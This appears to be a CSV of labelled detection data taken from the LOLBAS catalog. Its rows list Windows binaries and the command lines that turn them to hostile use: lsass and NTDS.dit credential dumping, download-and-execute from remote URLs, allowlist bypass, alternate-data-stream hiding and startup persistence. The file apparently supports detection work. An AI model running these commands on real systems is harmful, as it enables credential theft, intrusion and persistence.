00048feaf3ec16c5e8d015b6,diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cab,diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cab,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Diantz.yml,Diantz.exe,ADS,"[""T1564.004"", {""Type"": ""Compression""}]","Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.",0.85,False,Compress a file (first argument) into a CAB file stored in the Alternate Data Stream (ADS) of the target file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
475b2ae4b3b2b9b65aaea649,diantz.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab},diantz.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Diantz.yml,Diantz.exe,Download,"[""T1105"", {""Type"": ""Compression""}]","Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019",0.85,False,Download and compress a remote file and store it in a CAB file on local machine.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7c0266142e3efcc8ff99905d,diantz /f {PATH:.ddf},diantz /f {PATH:.ddf},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Diantz.yml,Diantz.exe,Execute,"[""T1036"", {""Type"": ""Compression""}]","Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019",0.85,False,Execute diantz directives as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8a8f6d7ddcbb6f289712c753,Microsoft.NodejsTools.PressAnyKey.exe normal 1 {PATH:.exe},Microsoft.NodejsTools.PressAnyKey.exe normal 1 {PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Microsoft.NodejsTools.PressAnyKey.yml,Microsoft.NodejsTools.PressAnyKey.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}]",Windows,0.85,False,Launch specified executable as a subprocess of Microsoft.NodejsTools.PressAnyKey.exe.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f0034fc7957e4e233f1a4d48,sqldumper.exe 464 0 0x0110,sqldumper.exe 464 0 0x0110,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Sqldumper.yml,Sqldumper.exe,Dump,"[""T1003""]",Windows,0.85,False,Dump process by PID and create a dump file (Appears to create a dump file called SQLDmprXXXX.mdmp).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
901941db88dde9c6d9253eeb,sqldumper.exe 540 0 0x01100:40,sqldumper.exe 540 0 0x01100:40,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Sqldumper.yml,Sqldumper.exe,Dump,"[""T1003.001""]",Windows,0.85,False,0x01100:40 flag will create a Mimikatz compatible dump file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f1370adce1df5f2f9669d30d,Remote.exe /s {PATH:.exe} anythinghere,Remote.exe /s {PATH:.exe} anythinghere,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Remote.yml,Remote.exe,AWL Bypass,"[""T1127"", {""Execute"": ""EXE""}]",Windows,0.85,False,Spawns specified executable as a child process of remote.exe,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f159929481e72edc6b627e0d,Remote.exe /s {PATH_SMB:.exe} anythinghere,Remote.exe /s {PATH_SMB:.exe} anythinghere,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Remote.yml,Remote.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}, {""Execute"": ""Remote""}]",Windows,0.85,False,Run a remote file,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
20dccc94cb7873025f717de2,"dsdbutil.exe ""activate instance ntds"" ""snapshot"" ""create"" ""quit"" ""quit""","dsdbutil.exe ""activate instance ntds"" ""snapshot"" ""create"" ""quit"" ""quit""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Dsdbutil.yml,dsdbutil.exe,Dump,"[""T1003.003""]","Windows Server 2012, Windows Server 2016, Windows Server 2019",0.85,False,dsdbutil supports VSS snapshot creation,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
826a446d7d59d4bdc9a72f8c,"dsdbutil.exe ""activate instance ntds"" ""snapshot"" ""mount {GUID}"" ""quit"" ""quit""","dsdbutil.exe ""activate instance ntds"" ""snapshot"" ""mount {GUID}"" ""quit"" ""quit""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Dsdbutil.yml,dsdbutil.exe,Dump,"[""T1003.003""]","Windows Server 2012, Windows Server 2016, Windows Server 2019",0.85,False,Mounting the snapshot with its GUID,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c0f20774a3bc73feb31fb0a4,"dsdbutil.exe ""activate instance ntds"" ""snapshot"" ""delete {GUID}"" ""quit"" ""quit""","dsdbutil.exe ""activate instance ntds"" ""snapshot"" ""delete {GUID}"" ""quit"" ""quit""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Dsdbutil.yml,dsdbutil.exe,Dump,"[""T1003.003""]","Windows Server 2012, Windows Server 2016, Windows Server 2019",0.85,False,Deletes the mount of the snapshot,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d32d84ff835930d3abadb13a,"dsdbutil.exe ""activate instance ntds"" ""snapshot"" ""create"" ""list all"" ""mount 1"" ""quit"" ""quit""","dsdbutil.exe ""activate instance ntds"" ""snapshot"" ""create"" ""list all"" ""mount 1"" ""quit"" ""quit""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Dsdbutil.yml,dsdbutil.exe,Dump,"[""T1003.003""]","Windows Server 2012, Windows Server 2016, Windows Server 2019",0.85,False,Mounting with snapshot identifier,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5f63d1df208a9c12f8592efc,"dsdbutil.exe ""activate instance ntds"" ""snapshot"" ""list all"" ""delete 1"" ""quit"" ""quit""","dsdbutil.exe ""activate instance ntds"" ""snapshot"" ""list all"" ""delete 1"" ""quit"" ""quit""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Dsdbutil.yml,dsdbutil.exe,Dump,"[""T1003.003""]","Windows Server 2012, Windows Server 2016, Windows Server 2019",0.85,False,Deletes the mount of the snapshot,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7a9e97139e03b9fcc2087184,pixtool.exe launch {PATH_ABSOLUTE:.exe},pixtool.exe launch {PATH_ABSOLUTE:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Pixtool.yml,Pixtool.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}]",Windows,0.85,False,Launches an executable via PIX command-line utility.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6649806a6e375fb11f456b5e,windbg.exe -g {CMD},windbg.exe -g {CMD},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/WinDbg.yml,WinDbg.exe,Execute,"[""T1127"", {""Execute"": ""CMD""}]",Windows,0.85,False,Launches a command line through the debugging process; optionally add `-G` to exit the debugger automatically.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
be4fe607ddf1de4669ce4eb1,Update.exe --download {REMOTEURL},Update.exe --download {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Update.yml,Update.exe,Download,"[""T1218""]",Windows 7 and up with Microsoft Teams installed,0.85,False,The above binary will go to url and look for RELEASES file and download the nuget package.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ac01f94dea4309ba4e472b73,Update.exe --update={REMOTEURL},Update.exe --update={REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Update.yml,Update.exe,AWL Bypass,"[""T1218"", {""Execute"": ""Nuget""}, {""Execute"": ""Remote""}]",Windows 7 and up with Microsoft Teams installed,0.85,False,"The above binary will go to url and look for RELEASES file, download and install the nuget package.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0683f0993fae04bb2ce9fe63,Update.exe --update={PATH_SMB:folder},Update.exe --update={PATH_SMB:folder},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Update.yml,Update.exe,AWL Bypass,"[""T1218"", {""Execute"": ""Nuget""}, {""Execute"": ""Remote""}]",Windows 7 and up with Microsoft Teams installed,0.85,False,"The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
de995e75f90e440f5f984a81,Update.exe --updateRollback={REMOTEURL},Update.exe --updateRollback={REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Update.yml,Update.exe,AWL Bypass,"[""T1218"", {""Execute"": ""Nuget""}, {""Execute"": ""Remote""}]",Windows 7 and up with Microsoft Teams installed,0.85,False,"The above binary will go to url and look for RELEASES file, download and install the nuget package.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
95aba17ba220e46243a0c7c3,"Update.exe --processStart {PATH:.exe} --process-start-args ""{CMD:args}""","Update.exe --processStart {PATH:.exe} --process-start-args ""{CMD:args}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Update.yml,Update.exe,AWL Bypass,"[""T1218"", {""Execute"": ""CMD""}, {""Execute"": ""Remote""}]",Windows 7 and up with Microsoft Teams installed,0.85,False,Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
35c2ff8f7372b74689d8314a,Update.exe --updateRollback={PATH_SMB:folder},Update.exe --updateRollback={PATH_SMB:folder},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Update.yml,Update.exe,AWL Bypass,"[""T1218"", {""Execute"": ""Nuget""}, {""Execute"": ""Remote""}]",Windows 7 and up with Microsoft Teams installed,0.85,False,"The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cdd4f2ec843dc442b6941296,Update.exe --createShortcut={PATH:.exe} -l=Startup,Update.exe --createShortcut={PATH:.exe} -l=Startup,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Update.yml,Update.exe,Execute,"[""T1547"", {""Execute"": ""EXE""}]",Windows 7 and up with Microsoft Teams installed,0.85,False,"Copy your payload into ""%localappdata%\Microsoft\Teams\current\"". Then run the command. Update.exe will create a shortcut to the specified executable in ""%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"". Then payload will run on every login of the user who runs it.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3c623a1f6f873c2378efeb5a,Update.exe --removeShortcut={PATH:.exe}-l=Startup,Update.exe --removeShortcut={PATH:.exe}-l=Startup,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Update.yml,Update.exe,Execute,"[""T1070"", {""Execute"": ""EXE""}]",Windows 7 and up with Microsoft Teams installed,0.85,False,"Run the command to remove the shortcut created in the ""%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"" directory you created with the LolBinExecution ""--createShortcut"" described on this page.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
df9e7199e0fc06357ebd8ba9,"xbootmgr.exe -trace ""{boot|hibernate|standby|shutdown|rebootCycle}"" -callBack {PATH:.exe}","xbootmgr.exe -trace ""{boot|hibernate|standby|shutdown|rebootCycle}"" -callBack {PATH:.exe}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/XBootMgr.yml,XBootMgr.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]",Windows,0.85,False,Executes an executable after the trace is complete using the callBack parameter.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bf44b789245fe74e3d616ef1,"xbootmgr.exe -trace ""{boot|hibernate|standby|shutdown|rebootCycle}"" -preTraceCmd {PATH:.exe}","xbootmgr.exe -trace ""{boot|hibernate|standby|shutdown|rebootCycle}"" -preTraceCmd {PATH:.exe}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/XBootMgr.yml,XBootMgr.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]",Windows,0.85,False,Executes an executable before each trace run using the preTraceCmd parameter.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2ec963e8f7cb94fae1f33852,VSLaunchBrowser.exe .exe {REMOTEURL:.exe},VSLaunchBrowser.exe .exe {REMOTEURL:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/VsLaunchBrowser.yml,VSLaunchBrowser.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]",Windows,0.85,False,Download and execute payload from remote server,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f966d804d49d31c9fa00cf0a,VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe},VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/VsLaunchBrowser.yml,VSLaunchBrowser.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}]",Windows,0.85,False,Execute payload via VSLaunchBrowser as parent process,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
37c47826fc4bcfbe5b44146f,VSLaunchBrowser.exe .exe {PATH_SMB},VSLaunchBrowser.exe .exe {PATH_SMB},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/VsLaunchBrowser.yml,VSLaunchBrowser.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}, {""Execute"": ""Remote""}]",Windows,0.85,False,Execute payload from WebDAV server via VSLaunchBrowser as parent process,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8a7aeb44cba6cb90a1e46e26,MsoHtmEd.exe {REMOTEURL},MsoHtmEd.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/MsoHtmEd.yml,MsoHtmEd.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]","Windows 10, Windows 11",0.85,False,Downloads payload from remote server,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
96cf7e47242614e093588c88,"IntelliTrace.exe launch /cp:""collectionplan.xml"" /f:""c:\users\public\log"" ""C:\Windows\System32\calc.exe""","IntelliTrace.exe launch /cp:""collectionplan.xml"" /f:""c:\users\public\log"" ""C:\Windows\System32\calc.exe""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/IntelliTrace.yml,IntelliTrace.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}]",Windows,0.85,False,Launches an executable via Visual Studio command line utility.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dd48bacadfacd7d7016090b3,MSAccess.exe {REMOTEURL},MSAccess.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Msaccess.yml,MSAccess.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]",Windows,0.85,False,Downloads payload from remote server,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a700fd84930f474fe97cf799,"msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand=""{PATH_ABSOLUTE:.bat}""","msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand=""{PATH_ABSOLUTE:.bat}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Msdeploy.yml,Msdeploy.exe,Execute,"[""T1218"", {""Execute"": ""CMD""}]","Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11, Windows Server",0.85,False,Launch .bat file via msdeploy.exe.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6ec2868910dd13e8fabb0f59,msdeploy.exe -verb:sync -source:filePath={PATH_ABSOLUTE:.source.ext} -dest:filePath={PATH_ABSOLUTE:.dest.ext},msdeploy.exe -verb:sync -source:filePath={PATH_ABSOLUTE:.source.ext} -dest:filePath={PATH_ABSOLUTE:.dest.ext},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Msdeploy.yml,Msdeploy.exe,Copy,"[""T1105""]","Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11, Windows Server",0.85,False,Copy file from source to destination.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
70dc03ddd377b36726beca31,"VSIISExeLauncher.exe -p {PATH:.exe} -a ""{CMD:args}""","VSIISExeLauncher.exe -p {PATH:.exe} -a ""{CMD:args}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/VSIISExeLauncher.yml,VSIISExeLauncher.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}]",Windows 10 and up with VS/VScode installed,0.85,False,The above binary will execute other binary.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8e53d96217a0be6624a467e3,devtunnel.exe host -p 8080,devtunnel.exe host -p 8080,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/devtunnels.yml,devtunnel.exe,Download,"[""T1105""]","Windows 10, Windows 11, MacOS",0.85,False,Enabling a forwarded port for locally hosted service at port 8080 to be exposed on the internet.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9e97a463aec7e2a3401ba1c9,VisualUiaVerifyNative.exe,VisualUiaVerifyNative.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/VisualUiaVerifyNative.yml,VisualUiaVerifyNative.exe,AWL Bypass,"[""T1218"", {""Execute"": "".NetObjects""}]",Windows 10 2004 (likely previous and newer versions as well),0.85,False,Generate Serialized gadget and save to - `C:\Users\%USERNAME%\AppData\Roaminguiverify.config` before executing.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3ba2ca1088f3706230123aab,createdump.exe -n -f {PATH:.dmp} {PID},createdump.exe -n -f {PATH:.dmp} {PID},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Createdump.yml,Createdump.exe,Dump,"[""T1003""]","Windows 10, Windows 11",0.85,False,"Dump process by PID and create a minidump file. If ""-f dump.dmp"" is not specified, the file is created as '%TEMP%\dump.%p.dmp' where %p is the PID of the target process.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6307f2487405cfe1b93939b0,msxsl.exe {PATH:.xml} {PATH:.xsl},msxsl.exe {PATH:.xml} {PATH:.xsl},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Msxsl.yml,msxsl.exe,Execute,"[""T1220"", {""Execute"": ""XSL""}]",Windows,0.85,False,Run COM Scriptlet code within the script.xsl file (local).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b5252c4847f400ea5ebcaeec,msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl},msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Msxsl.yml,msxsl.exe,Execute,"[""T1220"", {""Execute"": ""XSL""}, {""Execute"": ""Remote""}]",Windows,0.85,False,Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
697a8555486caa71b8d6864d,msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml},msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Msxsl.yml,msxsl.exe,AWL Bypass,"[""T1220"", {""Execute"": ""XSL""}, {""Execute"": ""Remote""}]",Windows,0.85,False,Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
81dbf8d66c533a6e1a6f8687,msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH},msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Msxsl.yml,msxsl.exe,Download,"[""T1105""]",Windows,0.85,False,"Using remote XML and XSL files, save the transformed XML file to disk.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fcf6d5d8052fd33b563e95fe,msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name,msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Msxsl.yml,msxsl.exe,ADS,"[""T1564""]",Windows,0.85,False,"Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
116e1a330bf6826c5d40dd6a,"AgentExecutor.exe -powershell ""{PATH_ABSOLUTE:.ps1}"" ""{PATH_ABSOLUTE:.1.log}"" ""{PATH_ABSOLUTE:.2.log}"" ""{PATH_ABSOLUTE:.3.log}"" 60000 ""C:\Windows\SysWOW64\WindowsPowerShell\v1.0"" 0 1","AgentExecutor.exe -powershell ""{PATH_ABSOLUTE:.ps1}"" ""{PATH_ABSOLUTE:.1.log}"" ""{PATH_ABSOLUTE:.2.log}"" ""{PATH_ABSOLUTE:.3.log}"" 60000 ""C:\Windows\SysWOW64\WindowsPowerShell\v1.0"" 0 1",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Agentexecutor.yml,AgentExecutor.exe,Execute,"[""T1218"", {""Execute"": ""PowerShell""}]",Windows 10,0.85,False,Spawns powershell.exe and executes a provided powershell script with ExecutionPolicy Bypass argument,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1979f7e7109e8844998efcc9,"AgentExecutor.exe -powershell ""{PATH_ABSOLUTE:.ps1}"" ""{PATH_ABSOLUTE:.1.log}"" ""{PATH_ABSOLUTE:.2.log}"" ""{PATH_ABSOLUTE:.3.log}"" 60000 ""{PATH_ABSOLUTE:folder}"" 0 1","AgentExecutor.exe -powershell ""{PATH_ABSOLUTE:.ps1}"" ""{PATH_ABSOLUTE:.1.log}"" ""{PATH_ABSOLUTE:.2.log}"" ""{PATH_ABSOLUTE:.3.log}"" 60000 ""{PATH_ABSOLUTE:folder}"" 0 1",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Agentexecutor.yml,AgentExecutor.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}]",Windows 10,0.85,False,"If we place a binary named powershell.exe in the specified folder path, agentexecutor.exe will execute it successfully",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4585cfa4a35f36968148a10d,Vsjitdebugger.exe {PATH:.exe},Vsjitdebugger.exe {PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Vsjitdebugger.yml,vsjitdebugger.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}]",Windows,0.85,False,Executes specified executable as a subprocess of Vsjitdebugger.exe.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b6cab90829c3ad318e996e1,DumpMinitool.exe --file {PATH_ABSOLUTE} --processId 1132 --dumpType Full,DumpMinitool.exe --file {PATH_ABSOLUTE} --processId 1132 --dumpType Full,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/DumpMinitool.yml,DumpMinitool.exe,Dump,"[""T1003.001""]","Windows 10, Windows 11",0.85,False,Creates a memory dump of the lsass process,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
88b0678a4714d1926939e1a0,rcsi.exe {PATH:.csx},rcsi.exe {PATH:.csx},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Rcsi.yml,rcsi.exe,Execute,"[""T1127"", {""Execute"": ""CSharp""}]",Windows,0.85,False,Use embedded C# within the csx script to execute the code.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
499e609537cfa97044698081,Excel.exe {REMOTEURL},Excel.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Excel.yml,Excel.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]",Windows,0.85,False,Downloads payload from remote server,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ebfb42e497e895b1862c4a00,"ntdsutil.exe ""ac i ntds"" ""ifm"" ""create full c:\"" q q","ntdsutil.exe ""ac i ntds"" ""ifm"" ""create full c:\"" q q",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Ntdsutil.yml,ntdsutil.exe,Dump,"[""T1003.003""]",Windows,0.85,False,Dump NTDS.dit into folder,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5314cf366d28dc9ba910ee1a,"bcp ""SELECT payload_data FROM database.dbo.payloads WHERE id=1"" queryout ""C:\Windows\Temp\payload.exe"" -S localhost -T -c","bcp ""SELECT payload_data FROM database.dbo.payloads WHERE id=1"" queryout ""C:\Windows\Temp\payload.exe"" -S localhost -T -c",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Bcp.yml,Bcp.exe,Download,"[""T1105""]",Windows,0.85,False,Export binary payload stored in SQL Server database to file system.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e8043370cda6b10a55b21a13,xbootmgrsleep.exe 1000 {PATH:.exe},xbootmgrsleep.exe 1000 {PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/XBootMgrSleep.yml,XBootMgrSleep.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]",Windows,0.85,False,"Execute executable via XBootMgrSleep, with a 1 second (=1000 milliseconds) delay. Alternatively, it is also possible to replace the delay with any string for immediate execution.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9e323365d712525f2abe809a,"AccCheckConsole.exe -window ""Untitled - Notepad"" {PATH_ABSOLUTE:.dll}","AccCheckConsole.exe -window ""Untitled - Notepad"" {PATH_ABSOLUTE:.dll}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/AccCheckConsole.yml,AccCheckConsole.exe,Execute,"[""T1218"", {""Execute"": ""DLL (.NET)""}]",Windows,0.85,False,Load a managed DLL in the context of AccCheckConsole.exe. The -window switch value can be set to an arbitrary active window name.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8bdce779106977fbf64b0303,"logger.exe RUN ""{CMD}""","logger.exe RUN ""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Logger.yml,Logger.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]",Windows,0.85,False,Executes the command specified after the `RUN` parameter as a child of `logger.exe`.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
26df118cfd7d0e04147aba83,"logger.exe RUNW ""{CMD}""","logger.exe RUNW ""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Logger.yml,Logger.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]",Windows,0.85,False,Executes the command specified after the `RUNW` parameter as a child of `logger.exe`.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
